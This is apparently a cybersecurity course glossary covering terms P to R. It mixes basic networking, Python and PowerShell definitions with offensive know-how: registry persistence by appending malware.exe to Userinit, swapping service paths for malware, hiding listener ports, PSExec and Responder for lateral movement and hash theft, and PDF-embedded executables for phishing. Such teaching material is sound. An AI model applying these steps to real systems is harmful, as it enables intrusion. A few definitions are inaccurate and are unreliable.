| Patches - Metasploit | The Metasploit module to find missing patches is**: 'post/windows/gather/enum\_patches'.** | | 3 | | 277 |
| PATH | Contains a list of directory paths separated by a colon which tells the terminal where to look for the equivalent binary executable when you type the command. | | 1 | | 145 |
| Payload |  | | 3 | | 229 |
| PDFs | You can embed an executable file into a PDF and have an icon in the PDF which runs the program when a user clicks on it. | | 3 | | 240 |
| Permissions (New File) | A new File will always inherit the parent’s folder permission | | 2 | | 294 |
| Persistence Stage | The attacker's goal is to maintain their connection over a longer period. A careful attacker will try to spread through the network towards their goal carefully to avoid detection, naturally this can take time so they will want to avoid having a computer restart kill their connection, which would cause them to have to start from the beginning (and increase their risk of detection). Any persistence methods will leave behind indicators of compromise on the target system, which can be detected. Persistence methods must touch the disk somehow, so evidence is left behind. | | 3 | | 301 |
| Pffexport | Extracts information from .pst files. | | 3 | | 122 |
| Phishing | Email which encourages people to click on a malicious link or file & email out hoping someone will fall for it. | | 3 | | 282 |
| Phishing - PDF | You can embed an executable file into a PDF and run some malware on their computers. | | 3 | | 240 |
| Phishing – attacks | Phishing attacks normally target, A legal dept, HR, and the accounting dept | | 3 | | 237 |
| PHP | Executed by the web server and then the result of that execution (usually HTML) is sent as a response to an HTTP request.  The user never gets to see the PHP even if they view the source code of the page. | | 1 | | 241 |
| PHP FPM | PHP FastCGI Process Manager | |  | |  |
| Ping | ICMP type 8 code 0 (Echo Request) sent to server, ICMP type 0 code 0 (Echo Reply) sent back to show available. | | 1 | | 299 |
| Pointer record  PTR | A DNS pointer record provides the domain name associated with an IP address. A DNS PTR record is exactly the opposite of the 'A' record, which provides the IP address associated with a domain name. DNS PTR records are used in reverse DNS lookups. | | 1 | | 294 |
| Pointers & Memory \*C\* | A pointer is just a memory address that points to the contents of a variable. The '&stuff' means 'address-of stuff'. The %p format specifier is used for printing the value of a pointer in C. | | 2 | | 179 |
| Pop | pop() - removes last item | | 2 | | 37 |
| POP3  (Post Office Protocol version 3) | It has a similar function to IMAP and enables you to retrieve your email. However, it is not synchronized and after downloading, your emails will be deleted. | | 1 | | 370 |
| Port | A port is a communications channel for applications running on the operating system to listen to No two applications on the computer can listen to the same port. Numbered, between 0 and 65535. 80 and 443 are default ports and if you access a site with http:// or https:// you will automatically be assumed to be using these ports.  Web servers can be configured to listen on non-standard ports, but then anyone could access it if they know domain port number, like so: https://some-fake-domain.fake:8008 The port is needed to separate communications destined for the web server application from other communications that the server might also need to receive. | | 1 | | 234 |
| Port 110 | Default for Pop3 | | 1 | | 368 |
| Port 143 | Default for IMAP | | 1 | | 368 |
| Port 25 | SMTP | | 1 | | 368 |
| Port 443 | Encrypted port HTTPS | | 1 | | 234 |
| Port 80 | unencrypted port HTTP | | 1 | | 234 |
| Port scanner | Is a tool that will try to connect to ports on a target system and report back about which ones are open or not. | | 2 | | 125 |
| Port scanner (python) | Create a port scanner in Python | | 2 | | 124 |
| Port Scanning | You could find out if the system you have compromised has a programming language installed on it and write your own port scanner in that language. On Windows, you usually have PowerShell, on Linux you have Netcat and on C you have a compiler installed on Linux, so you could write your own port scanner in C and compiles it. | | 3 | | 323 |
| Ports - Attackers Hiding  Methods of persistence | * Open the port only at a certain time every day for a certain duration. * Make a DNS request to a certain domain, and if the domain resolves to a specific IP address, open the port. Otherwise, keep the port closed. * If the target is a web server, change the PHP to start the listener when a specific request is sent to a page, otherwise keep the port closed. * Replace the netstat, lsof and any other programs that could be used to find open ports with custom binaries, which do exactly the same thing except refuse to show the port the malware is listening on. | | 3 | | 302 |
| Ports - WIndows | On Windows, we can also use netstat to find open ports, although the exact command is slightly different: netstat -a -b -o. | | 3 | | 303 |
| Postfix | Postfix can operate in a variety of modes, configured to work locally only across the network or internet, is one of many MTAs (Mail Transfer Agents) that has an SMTP server. SMTP banner is included in the main.cf under /etc/postfix by default. You can customize it here. | | 1 | | 383 |
| Power connector (12v) | 12V power connector which runs to the motherboard | | 1 | | 39 |
| Power connector (PCI-E) | PCI-E power connector runs to a graphics card | | 1 | | 40 |
| Power of symbol ^ | For example, 4^3 is '4 to the power of 3' which is 4 x 4 x 4 or 64) | | 1 | | 47 |
| Power Supply | Deliver power to the components. Connects to motherboard, GPU, hard drives, and fans. | | 1 | | 37 |
| PowerShell | Each cmdlet is made of two parts: verb (Get, Start, Stop) and noun (Service, Process, Date) | | 3 | | 322 |
| PowerShell | More powerful than Windows Command Prompt - it's based on the .NET framework and includes a command line shell and a scripting language. | | 2 | | 323 |
| PowerShell –  Alias | If you want to check out what other commands have an alias set, or if you want to set your own, you can do so by using the Get-Alias and Set-Alias cmdlets. | | 2 | | 328 |
| PowerShell –  Aliases | cat, cd, dir, ls, rm Set-Alias -Name <alias-name> -Value <cmdlet\_to\_run> | | 3 | | 328 |
| PowerShell –  Cmdlet | Lightweight command used within PowerShell | | 3 | | 324 |
| PowerShell –  Get Command | Get-Command -Noun Computer This returns all cmdlets where the noun is 'Computer'.  Ex: Paired with - Noun to find a cmdlet with a specific term, or -Verb to find a cmdlet with a specific action. the command Get Command - Verb - Stop This will return a list of PowerShell cmdlets that allow you to stop something. PS> Get-Command-Verb Stop. | | 3 | | 326 |
| PowerShell –  Get-Content | command string will display the contents of the file aliases.ps1. is used to display the contents of a file. It works much the same as 'cat' in Linux. | | 3 | | 329 |
| PowerShell –  Objects - Get-Member | Check what information is stored inside the result of a command by using the Get-Member cmdlet. | | 3 | | 323 |
| PowerShell –  Objects = Get-ChildItem | Used to list the contents of a folder, and the output is very similar to running 'dir' in Command Prompt. | | 3 | | 323 |
| PowerShell –  Cmdlets Dir | Dir is the alias of: Get-ChildItem. Used to list directory contents. | | 2 | | 329 |
| PowerShell –  Get-Process | Get-Process is used to gather information about running processes on the machine. | | 2 | | 327 |
| PowerShell –  Start-Process | To start running a new process. You can configure the window style, which user to run the application as and even request to run as admin. | | 2 | | 328 |
| PowerShell –  Stop-Process | Is what you would use to end a process. You can either stop a process using its ID or its name. If stopping by name, it's often a good idea to use the '- Confirm' argument, which will ask for confirmation before terminating each process that matches. | | 2 | | 328 |
| PowerShell –  Storing Objects | We can store the result of a command in a variable. To do that in PowerShell we declare the variables using a $ symbol. | | 2 | | 331 |
| PowerShell help | PowerShell commands use the '-?' argument to show the help file. | | 2 | | 323 |
| PowerShell ISE | The PowerShell Integrated Scripting Environment (ISE) allows you to write, test and run PowerShell scripts. It includes tab completion for commands and a search function to allow you to find commands if you're unsure of their name. | | 2 | | 325 |
| PowerShell Objects | PROPERTIES contain info about the object. METHODS allow to manipulate object (and data it represents) | | 2 | | 329 |
| Prefetch | Stores specific data about the applications you run, to help them start faster - %Windows%\Prefetch | | 3 | | 124 |
| Prepared Statement | Is a way of generating a query where the query and the search term are distinct. When the query is made, the parts where the query is only data as specific and cannot be treated for part of the query no matter what. Query language is kept separate from user supplied data ->mitigates SQL injection | | 3 | | 158 |
| Presentation | Data,XML,JSON, Encryption | | 1 | | 304 |
| Pretexting | Where you pretend to be someone else over email or phone. A part of social engineering. | | 3 | | 236 |
| printenv  Environment variables | Displays environment variables | | 1 | | 145 |
| printf() | Ability to handle multiple output streams, different data types and convert a given type to a different format. Using %d will print a numeric value | | 2 | | 158 |
| Prior Breaches | Once you've identified some people who work at a company, try to find their personal email accounts using Maltego or just manually search for connections in publicly available information. Wander over to: https://haveibeenpwned.com/ and look up the email addresses you've managed to gather to find any breaches their passwords were disclosed in. | | 3 | | 79 |
| Private addresses IPv4 | 10.0.0.0/8(10.0.0.0-10.255.255.255) | | 1 | | 267 |
| Private addresses IPv6 |  | | 1 | | 267 |
| Private Ip |  | | 1 | | 253 |
| private IP ranges ( | 10.0.0.0 -- 10.255.255.255, , 172.16.0.0 -- 172.31.255.255, , 192.168.0.0 - 192.168.255.255 | | 1 | | 268 |
| Private key | Use your private key to decrypt message | | 3 | | 17 |
| Privilege Escalation | Where you gain the highest level of access within a system. You don't always need superuser privileges on every system, but most of the time it is helpful in achieving your goals to spread through the network. Many attacks can only be pulled off if you have administrative access to a system. | | 3 | | 253 |
| Process - Definition | When a program runs on a computer, it temporarily loads code into memory that contains information about the program. The code is deleted when the program is closed. Series of actions taken to achieve a particular end. | | 1 | | 97 |
| Process explorer | Find out more about the process using process explorer from MS sysinternals | | 3 | | 303 |
| Processor | Brain of computer, responsible for executing the instructions contained in computer programs. AKA CPU. | | 1 | | 24 |
| Programming Language | The processor only understands binary. | | 2 | | 9 |
| Programming Languages - High-Level | It's a language where the code you write is more abstract from the machine code that it produces. By using high-level languages, much of the complexity of programming is removed, with the hard parts being done automatically by the compiler or interpreter. | | 2 | | 10 |
| Programming Languages - Low-Level | Has more control over how the processor does things. A low-level programming language is closer to how the processor thinks, meaning low-level languages are quite difficult to learn. | | 2 | | 10 |
| Programs - Startup | A valid registry key for launching programs at startup is HKLM\Software\Microsoft\Windows\CurrentVersi on\Run | | 3 | | 305 |
| Properties | Contains info about the object | | 2 | | 331 |
| Proposition | Statement that can only be TRUE or FALSE | | 1 | | 64 |
| Protocol | A protocol is an agreed-upon standard that governs how two parties interact. | | 1 | | 273 |
| Protocol used to obtain an IP address. | DHCP | | 1 | | 300 |
| Protocols | * Rules that define the format of the data. Have checks in place to make sure data was transmitted successfully (not corrupted in transit). * Two types of protocols: TCP and UDP. A protocol allows connected devices to communicate with each other, regardless of any differences in their internal processes, structure, or design. * Application-level protocols - HTTP, FTP. | | 1 | | 255 |
| Proxy Servers | Enforcing the use of a proxy server across the organization is an effective way to catch some attackers an attacker may not know a proxy server exists and therefore may try to send HTTP/S traffic out of the network directly, making themselves obvious. | | 3 | | 335 |
| ps | A process is just a running program of some kind. You can see a full list using the 'ps' command - will only see processes running under current user. To see all processes: ps aux or ps auxf --> The 'ps' command allows parameters without a '-' prefix which is BSD syntax. | | 1 | | 191 |
| ps -ef -f |  | | 1 | | 194 |
| ps aux | grep -i sshd | grep root | List of secure shell processes running under the root user that is the output of the command. | | 1 | | 186 |
| ps aux | grep -i sshd | grep root | List of secure shell processes running under the root user | | 1 | | 186 |
| ps auxf | List of processes with subprocesses and more detail on the parameters the processes were launched with. | | 1 | | 193 |
| ps/2 | Older peripherals support (keyboard, mouse) | | 1 | | 32 |
| pseudocode | Is a way to start thinking like a programmer but without worrying about syntax or the details around making real code work. | | 2 | | 140 |
| PSExec | PowerShell module designed for network administrators to be able to run PowerShell commands remotely on multiple systems at once.  It's a legitimate tool, which is why anti-malware doesn't detect it, but if you have login credentials to a system, you can directly use PowerShell to run malware on that system. This is a great lateral movement technique when combined with MITM attacks or Mimikatz. Only available for use on Windows targets. | | 3 | | 330 |
| PSH | PSH stands for PowerShell. | | 3 | | 320 |
| Pslist  Volatility | High level list of running processes. | | 3 | | 134 |
| Psscan  Volatility | Scans memory for EPROCESS blocks. | | 3 | | 134 |
| PST Files | PST (Personal Storage Table) files are personal folder files in Microsoft Outlook. They store information such as calendar events, copies of messages, notes, and other items. | | 3 | | 122 |
| Pstree  Volatility | Displays parent-process relationships. | | 3 | | 134 |
| PTR Record | The PTR or 'Pointer' record is used for reverse DNS lookups. It ties an IP address to a domain name in the format: 1.0.168.192.in-addr.arpa PTR notarealdomain.fake | | 1 | | 296 |
| Public IP |  | | 1 | | 253 |
| Public key | Send public key to whoever needs to send you a secure message.  Openssl rsa -in private.pem -outform PEM -pubout -out public.pem | | 3 | | 17 |
| Public key infrastructure | Is the service where all the public keys are stored. | | 1 | | 385 |
| Publish | docker run --publish -> publish docker port to host | | 2 | | 370 |
| Purple Team | The purple team represents a new, more joint approach: a combination of both blue and red teams sitting in the middle. The aim of a purple team is to establish greater communication channels between both teams, to foster a more collaborative culture, promoting cyber security improvement. | | 3 | | 114 |
| puts("print this stuff") | Put string, but automatically inserts a newline character to the end of the string | | 3 | | 253 |
| puts() in c | "put string" - takes only one parameter, which is a string to output | | 2 | | 156 |
| Pwd | Shows us the path of our current working directory.  The output of: foo@bar:~/baz$ pwd would be ---> /home/foo/baz | | 1 | | 133 |
| Pwndbg | GDB on its own is not particularly user-friendly, the extension GDB adds some extra functionality. The extension we'll be using is called 'pwnd2' | | 2 | | 344 |
| Pwndbg - Backtrace. | They are all the functions called up to this point | | 2 | | 348 |
| pwndbg - installing | git clone https://github.com/pwndbg/pwndbg -> cd pwndbg -> ./setup.sh | | 3 | | 343 |
| Pwndbg – Debugging an executable | If a function named function\_A is stepped over, instead of into the debugger executes de code within function\_A and moves to the next instruction. | | 2 | | 349 |
| pwndbg> x/s 0x80484ef 0x80484ef <main+4>: | Identifies the output format for data at address ox80448ef | |  | |  |
| Python | High level programming language. | | 2 | | 10 |
| Python  Append | Adding items to a list. | | 2 | | 35 |
| Python  Array | variable\_name = array(typecode,[elements]) | | 2 | | 38 |
| Python Assertions | The assert function will cause the program to crash with the error message we provided if a condition is not met. | | 2 | | 133 |
| Python Attributes | Variables that are accessed on objects. | | 2 | | 100 |
| Python Code Smells | Visual symptoms code has problems: too much nesting, keep functions small, avoid code duplication. | | 2 | | 144 |
| Python Combining loops & conditionals | Example of combining loops & conditionals (Agent J Coffee) | | 2 | | 72 |
| Python Combining strings | Also known as concatenation, is the process of joining multiple strings together to form a single string. | | 2 | | 21 |
| Python Comments | Using a # to comment out code  Ex: #Say hello to the user. | | 2 | | 48 |
| Python Comparison Operators | compare values in a programming language and determine whether a specific relationship exists between them. The result of a comparison operator is a Boolean value (either true or false).  Ex: equal to: **==**, not equal to: **!=**, Less than **<**, Greater than **>**, Less than or equal to: **<=**, greater than or equal to **>=** | | 2 | | 56 |
| Python Conditionals | Allows us to check if certain conditions are being met before we run certain parts of the program | | 2 | | 53 |
| Python Conditionals and lists | Conditionals also allow us to check if a value is in a list, or not in a list. | | 2 | | 57 |
| Python Counting | Whenever you're counting "things" in computer code, **we always start with 0.** | | 2 | | 31 |
| Python Def - define | use def to create a function: ***def greet\_agent():*** | | 2 | | 79 |
| Python Default Parameter values | It's useful to set default values for some or all our parameters. If there is a frequently used value as an argument, it can make sense to set it as a default assumed value to make your function calls simpler to use. | | 2 | | 82 |
| Python Defining and calling functions | When we want to create a function, we use the def keyword followed by what we want to name the function. It's important to remember that a function must be defined before it can be called. | | 2 | | 79 |
| Python Dictionaries | Collection of "things" we can store together - differs from a list as the format in which that info is stored and retrieved.  Ex: case\_stats = [21, 12, 8] | | 2 | | 39 |
| Python Dictionaries  Lists inside | We can store different types of data within a dictionary. | | 2 | | 40 |
| Python Dictionaries - Adding to | See book. | | 2 | | 44 |
| Python Dictionaries - Modifying | See book. | | 2 | | 43 |
| Python Dictionaries -Removing things | See book. | | 2 | | 45 |
| Python Dictionaries inside lists |  | | 2 | | 42 |
| Python Documentation | Python has an extensive documentation, which lists out the standard provided objects, functions, and methods, as well as the parameters they accept and the values they return. | | 2 | | 129 |
| Python Elif | If-elif chains will execute the condition in order, & stop when it finds a condition it meets | | 2 | | 63 |
| Python Else | catches the other possible feedback or data | | 2 | | 63 |
| Python Exception | An exception is a special kind of object that Python uses as part of its error management system. Whenever an error happens, Python creates an exception object and, by default, halts the execution of the program as soon as the exception is generated. Example: exceptions may halt the execution of the program as soon as the exception is generated. | | 2 | | 106 |
| Python file user as input | Be cautious when allowing user input into programs | | 2 | | 113 |
| Python Floats | Decimal Numbers | | 2 | | 27 |
| Python For Loops | For loop example | | 2 | | 66 |
| Python Function Parameters | Like placeholders in our function: we use them in the body of our function | | 2 | | 80 |
| Python If statements | also known as conditionals | | 2 | | 53 |
| Python Import library | import sys, sys.argv | | 2 | | 93 |
| Python IndexError | IndexError: list index out of range. | | 2 | | 32 |
| Python Infinite loops | Use control + c to cancel operation or know what your python program uses to stop an operation. While true, a ‘while’ loop will run indefinitely or until your computer crashes | | 2 | | 77 |
| Python input() | Uses eval() trying to figure out the string type. Will evaluate anything given. Pretty dangerous as user could give a malicious code to run | | 2 | | 89 |
| Python Integers | Whole numbers | | 2 | | 25 |
| Python Isdigit() | This method allows us to check if the string the user provided can be turned into an integer | | 2 | | 92 |
| Python lists and Tuples | A list of things stored in a particular order uses square brackets. ['Mint', 'Debian', 'Ubuntu', 'Manjaro', 'Fedora', 'Arch'] | | 2 | | 31 |
| Python Looping through a dictionary | Examples on the page | | 2 | | 68 |
| Python Loops | Variable MUST be initialized outside the loop. | | 2 | | 172 |
| Python Lstrip | We can strip whitespace off the left side of a string using lstrip() | | 2 | | 23 |
| Python Mixed type lists | Python lets us create mixed-type list by incorporating all different types of data into a single list. | | 2 | | 33 |
| Python Modifying a dictionary | See book | | 2 | | 43 |
| Python Modifying a list | See book | | 2 | | 34 |
| Python Modifying object attributes values | See book | | 2 | | 103 |
| Python Nested loops | example of nested loops (Agent J Coffee) | | 2 | | 70 |
| Python Order of precedence | An expression in python consists of variables, operators, values, etc. When the Python interpreter encounters any expression containing several operations, all operators get evaluated according to an ordered hierarchy. PEMDAS | | 2 | | 60 |
| Python PEP 8 style guide | Preferred style guide for python.  Indention should use 4 spaces, Lines should be limited to a length of 79 characters, Variables and functions should be named in lowercase with words separated by underscores, Classes should be named with CapWords convention. | | 2 | | 131 |
| Python Procedural programming | The paradigm that new programmers tend to gravitate toward and is most often represented in beginner tutorials and guides. we break down tasks into a series of steps. Logic and data are often separated. | | 2 | | 137 |
| Python Programming tips | 1. be specific about the problem you are trying to solve. 2. test your code frequently. 3. Error messages are useful. | | 2 | | 141 |
| Python ps aux | View full list of processes running on your Linux system. | | 1 | | 186187 |
| Python Range | Allows us to create a temporary 'list' of #s within a specified range we can loop through like a for a loop. | | 2 | | 67 |
| Python Repr() | It converts a tuple into a string. | | 2 | | 123 |
| Python Return Values | Whenever we don’t wat to use the method print() to create our output directly, we can instead use return values to send information from inside our function to the line where the function was called. | | 2 | | 84 |
| Python Single Responsibility Principle | The most useful thing about functions is you can call them anywhere, even inside other functions. This allows us to break our code apart into smaller, more readable, and reusable chunks. | | 2 | | 83 |
| Python Tuple | stonehenge = ('51.1739726374', '-1.82237671048') | |  | |  |
| Python version | $ python --version | | 2 | | 14 |
| Python3 and input() |  | | 2 | | 89 |
| **Q** |  | |  | |  |
| Quick referrer (servers) | In private browser mode, it still knows from which web site you are coming | | 1 | | 339 |
| Quotes “-“ | Exact phrase is used on the pages and the words are kept in the right order. | | 1 | | 225 |
| **R** |  | |  | |  |
| r,w,x | read=4,write=2,execute=1 | | 1 | | 141 |
| RAID | Redundant Array of Independent Disks | | 2 | | 362 |
| RAID 0 | "Striping" maximizes read/write speed. LACKS fault tolerance, if single drive fails, all data unrecoverable | | 2 | | 362 |
| RAID 1 | "Mirroring" duplicates data across both drives. Fault tolerant. Storage capacity is HALVED (key disadvantage) | | 2 | | 362 |
| RAID 10 | Combo of RAID 1 and RAID 0, both striping and mirroring. Storage is HALVED | | 2 | | 362 |
| RAID 5 | "Striping with parity" at least 3 drives, slower write speed, reduced speed until drive is replaced | | 2 | | 362 |
| RAID 6 | "Striping with double parity" at least 4 drives, slow write speed, reduced speeds, can operate on slow 2 drives | | 2 | | 362 |
| RAID Array | Several disk drives grouped together | | 2 | | 362 |
| RAM | Two sections of RAM - Stack and Heap  Its purpose is to keep data that is being used by the processor. | | 2 | | 180 |
| RAM  random access memory | A number of things you can have open on your computer at once. | | 1 | | 26 |
| RAM - ddr3 | Since 2007, most motherboards support it. | | 1 | | 27 |
| RAM - ddr4 | DDR4 (double data rate fourth generation), newer so you need to check if your motherboard supports it. | | 1 | | 27 |
| RAM – Stack | In a program, the function loaded onto STACK. Each function assigned area of memory called STACK FRAME | | 3 | | 338 |
| RAM Compatibility | Two factors of RAM: Type and Speed. Types - DDR (Double Data Rate) with the # (3,4 or 5) meaning the generation. DDR5 is relatively new, and only some motherboards support it. DDR3 RAM was first introduced in 2007, DDR4 in 2012 and most motherboards will happily support it. The RAM speed is measured in MHz, Ex: DDR3- 2133 RAM is DDR3 RAM with a maximum speed of 2133 MHz | | 1 | | 27 |
| RAM Ret function | When CPU gets to ret (return) instruction, will load return pointer from the bottom of stack frame into EIP | | 3 | | 338 |
| RAM Return Pointer | Saves previous value of EIP to the BOTTOM of stack frame. | | 3 | | 338 |
| Rand | rand () % 20 -> generate a random number between 1 and 19 | | 2 | | 187 |
| raw\_input() (python) | Does not work in Python 3. Always should be used in Python 2 - The raw\_input() method will interpret everything the user feeds into it as a string, no matter what characters are typed. | | 2 | | 89 |
| RCE | CVE-2019-9874: Deserialization of Untrusted Data in the Sitecore.Security.AnitCSRF (aka anti CSRF) module in Sitecore CMS 7.0 to 7.2 and Sitecore XP 7.5 to 8.2 allows an unauthenticated attacker to execute arbitrary code by sending a serialized .NET object in the HTTP POST parameter \_\_CSRFTOKEN. | |  | |  |
| RCPT  SMPT protocol | The RCPT command establishes the address of the recipient. You can use the RCPT command multiple times to establish multiple recipients | | 1 | | 281 |
| Read and Execute  File permissions | Allows you to display the folder's contents, and the contents of files inside, and run any programs in the folder. | | 2 | | 294 |
| Reconnaissance | One of the most important tools in reconnaissance is Google. If you search by filetype you can get metadata about the author of the file. Keywords site: and filetype: Example: site:sans.org filetype:xls | | 3 | | 63 |
| Recovering deleted files | Cannot always be recovered, depending on if the disk has been overwritten | | 3 | | 121 |
| Recursive lookup | Asks the DNS server a question, and if the DNS server doesn't know, it will ask another DNS server and so on. | | 1 | | 295 |
| Recursive Resolver (servers) | Will query around the global DNS servers to determine where this website address is. The resolver should only require three rounds of challenge responses through the hierarchy of name servers: root, middle and bottom.  Responsible for receiving queries from the client machines via applications, such as internet browsers | | 1 | | 352 |
| Red Team | The red team is responsible for offensive operations; they'll be assigned the task of attacking a network to test the effectiveness of security controls, or of finding vulnerabilities in a web application or other software. | | 3 | | 41  112 |
| Redirects ' > ' overwrite | Overwrite but if a file does already exist it will overwrite it entirely. | | 1 | | 196 |
| Redirects ' >> ' overwrite | Will add the output to the END of the file instead. | | 1 | | 197 |
| Reflected XSS | Code isn’t stored anywhere except the URL. | | 3 | | 156 |
| Reg command | To change the registry and replace an existing service path with some malware, the 'reg' command that is built into Windows will work. The 'reg' command will work to change the registry and replace an existing service path with malware. | | 3 | | 292 |
| Regedit | This tool is used to display and modify the settings in an image. it is installed on windows by default. | | 2 | | 275 |
| Registers - CPU memory | Faster to use than RAM, they are located inside the CPU.  32-bit CPU (32 bits of data or 4 bytes of data, or enough for four characters if you use ASCII encoding. 64-bit CPU (64 bits of data or 8 bytes of data, or enough for 8 characters of date if you use ASCII encoding | | 2 | | 333 |
| Registers - General purpose | 32-bit Intel CPU: EAX, EBX, ECX, EDX if you store in 'AX' register, it is lower 16 bits of the full 32-bit EAX register Cannot be split ESP, ESB, ESI, EDI - used for specific purposes | | 2 | | 334 |
| Registers - special purpose | Cannot be used freely by programs like EIP | | 2 | | 335 |
| Registry | The Windows Registry is a database of settings for both the operating system and for any applications which support storing data in the registry. The settings here are low-level and are not meant to be changed or even seen by the typical end user. | | 2 | | 275 |
| Registry  (Forensics) | The Windows Registry contains a whole host of useful information for forensic analysis. It is the main collection of configuration settings and databases within the Microsoft Windows operating system. To access the Windows Registry, the command regedit can be typed into the run/search window, and from there you will be presented with the registry. Each node within the hierarchical tree is called a key. Each key has a set of subkeys, which in turn can have subkeys of their own or values to those keys. | | 3 | | 123 |
| Registry - Start-up: Windows | There's also this one: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\Userinit\userinit.exe Which can be modified like so: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\Userinit\userinit.exe,malware.exe Some of these keys will allow malware to be run as administrator (such as the Services keys), while others will be run as the logging in user.  A great way to view these items is to use the 'Autoruns' program from Microsoft Sysinternals. HKLM\Software\Microsoft\Windows\CurrentVersion\Run | | 3 | | 307 |
| Registry key for a service | HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\<SERVICENAME> | | 3 | | 335 |
| Registry Keys | The SAM and SYSTEM registry keys can be used together to obtain NTLM password hashes. NTLM password hashes can be obtained using these two keys together.   1. HKCR (HKEY\_CLASSES\_ROOT) - Information stored here ensures that the correct program opens up when it is executed. 2. HKCU (HKEY\_CURRENT\_USER) - Stores configuration about the current user for in Windows such as subkeys and contents for AppEvents, Keyboard layout, Printers, network, and other settings. 3. HKLM (HKEY\_LOCAL\_MACHINE) - This key contains hardware specific information that the operating system runs on, and the settings for Windows and the software installed on the computer. These settings are loaded into memory each time the operating system starts. 4. HKU (HKEY\_USERS) - This key contains user-specific configuration information for all currently active users on the computer. | | 3 | | 123 |
| Registry Permissions - Weak | Every service on Windows has a matching registry key, which holds all the information about the path to the service executable. If the permissions on the registry entry are weak, any user could change the path to point to an executable in a different location. To change the registry and replace an existing service path with some malware, the 'reg' command that is built into Windows will work. Checking registry permissions requires the subinacl.exe tool, which is not standard, but can be downloaded from Microsoft and uploaded onto a target system. WMIC can't do it. | | 3 | | 289 |
| Reliability & repeatability  Memory Captures | The most important aspects when considering a forensic tool are reliability and repeatability | | 3 | | 132 |
| Remote File Inclusion Vulnerability | This allows an attacker to load an arbitrary file on the target system. These vulnerabilities are often found in poorly-written web applications. | | 3 | | 151 |
| Responder.py | Allows us to poison the LLMNR, NBT-NS and MDNS protocols. You can often get password hashes for Active Directory administrators using this method. After that, it's just a case of cracking the passwords if they are weak enough. | | 3 | | 329 |
| Responsible Disclosure | Is process that allows security researchers to safely report found vulnerabilities to your team. It can be a messy process for researchers to know exactly how to share vulnerabilities in your applications and infrastructure in a safe and efficient manner. | | 3 | | 183 |
| Restart service | sc stop "Vulnerable Service" or shutdown /r /t 0 | | 3 | | 288 |
| Return Pointer (memory) | when a function is called, a memory address is written to the bottom of the stack frame& loads return pointer to EIP. Where the CPU goes to next after completing a function. | | 2 | | 339 |
| Reverse Lookup  (Networking) | Translating an IP address into a domain name; there is no authoritative name server for IP addresses. 1.0.168.192.in-addr.arpa | | 1 | | 294 |
| Reverse TCP payload | More advances payload than the ones before. It’s a customer piece of malware that grants penetration testes a lot of power with built in functionally for privilege escalation, taking screenshots and more. | | 3 | | 229 |
| Reverse Whois | Sometimes you could do a reverse WHOIS by using a third-party software and you might be able to identify IP ranges. | | 3 | | 80 |
| RHOST | Remote host or target IP address (used in Metasploit). | | 3 | | 230 |
| Risk Management | There are three key areas of risk:   1. **Confidentiality:** Access to systems should only be shared amongst authorized persons or organizations. Ex: credit card information should remain confidential and not accessible by unauthorized users. In an ecommerce system, the confidentiality of such data is likely to be a big risk factor. 2. **Integrity:** The systems should be accurate, trustworthy, and complete. Sometimes the software becomes compromised it is replaced with versions containing malware. 3. Availability: The systems should be accessible when needed. A denial-of-service attack (**DoS)**where an attacker directs so much internet traffic at a target that it can no longer function is an attack on availability. | | 3 | | 45 |
| Rkhunter | Linux rootkit hunter. | | 3 | | 154 |
| rm  Command | Stands for remove. Used for deleting files and folders. If you want to delete folders, you need to provide the -r parameter for recursive. | | 1 | | 168 |
| rm \* | Removes files in the wildcard folder but the folders and the files within them would remain. | | 2 | | 329 |
| rmdir (Windows CLI) | rmdir <directory> - remove a directory | | 2 | | 310 |
| Robocopy | Robocopy is a command that allows you to copy files, directories, and even entire drives from one location to another. | | 2 | | 307 |
| robots.txt | This file is in the root of the website and contains a list of web pages that should be omitted from a search engine spidering. used to tell search engines to avoid certain locations. | | 3 | | 70 |
| Robots.txt RECON (red team) | list of places on a site that the owner of the page didn't want people to see | | 3 | | 70 |
| Robots.txt RECON (blue team) | Use this in all headers you don't want indexed <meta name="robots" content="noindex" /> | | 3 | | 71 |
| Root | Admin Account. It's the account with total control over the operating system and has permissions to do anything and everything. To go to root type su (switch user) root. | | 1 | | 127 |
| Root nameserver | Responds to the resolver by redirecting it to the TLD nameserver that stores the information for its domains.  13 root servers, acting as an index, or reference, for locating the IP address for a site host. | | 1 | | 350 |
| Root of system | / ' is the root of the system | | 1 | | 135 |
| Root user (Linux) | Will typically change from $ to # to signify shift | | 1 | | 127 |
| Rootkit | Rootkits are a form of malware designed to allow an attacker back into a system later. There are generally two types of rootkits: 'usermode' and 'kernelmode'.  Things to watch for:   * Your settings keep changing without user interaction (or if you are on Active Directory, without the Administrator changing them). * Your input devices (mouse, keyboard, etc...) keep disconnecting and reconnecting. * Your anti malware software stops running and cannot be started again. Network traffic coming from the computer (monitored externally such as at the switch) shows traffic on certain ports, but the computer in question reports those ports are closed. | | 3 | | 312 |
| Rootkit Kernelmode | Kernelmode rootkit lives in the kernel, available on Linux/Windows DANGEROUS. | | 3 | | 312 |
| Rootkit Recovery | If you even suspect a rootkit is running on a system, your best bet is to wipe and re-partition the drive and install a fresh operating system on it. | | 3 | | 314 |
| Rootkit Usermode | Runs as a user in system, replaces binaries, hide its presence on a system. | | 3 | | 312 |
| Round() - python EXAMPLE | print(round(42.12345, 2)) | | 2 | | 27 |
| Router (networking 2) | Responsible for converting the packets from public IP addresses to private IP addresses and vice versa. | | 1 | | 250 |
| Rpm | Package designed for fedora. rpm -Uvh/i install | | 1 | | 208 |
| RSA | Rivest, Shamir, Adleman | | 3 | | 18 |
| rSteg (steganography) | Java based tool that lets you hide textual data inside an image. It can embed or extract the data from the file and uses a PIN. The tool is as simple as selecting the image file, entering the PIN, and then entering the text that you want to hide in the image. | | 3 | | 100 |
| rstrip (python) | We can strip whitespace off the right side of a string usingrlstrip() | | 2 | | 23 |
| Rsync | Syncs the contents of 2 folders locally, or even on the internet. Backup system. Allows -e (execute). If you, as the attacker, have write access to a folder that is being backed up by 'rsync' and it is running as the root user, you have the chance to privilege escalate. Commonly used in Cron jobs. | | 3 | | 262 |
| Rsyslog | You could configure to store them all, or just focus on a specific severity range, store data in MySQL in tables, for example. How you store the data is very configurable with many plugins available. | | 1 | | 361 |
| Rsyslog log server (servers) | * Enable very high-performance ingestion of alerts, at over 1M records per second. * You could configure to store them all, or just focus on a specific severity range. * How you store the data is very configurable with many plugins available. Stored in /var/log | | 1 | | 362 |
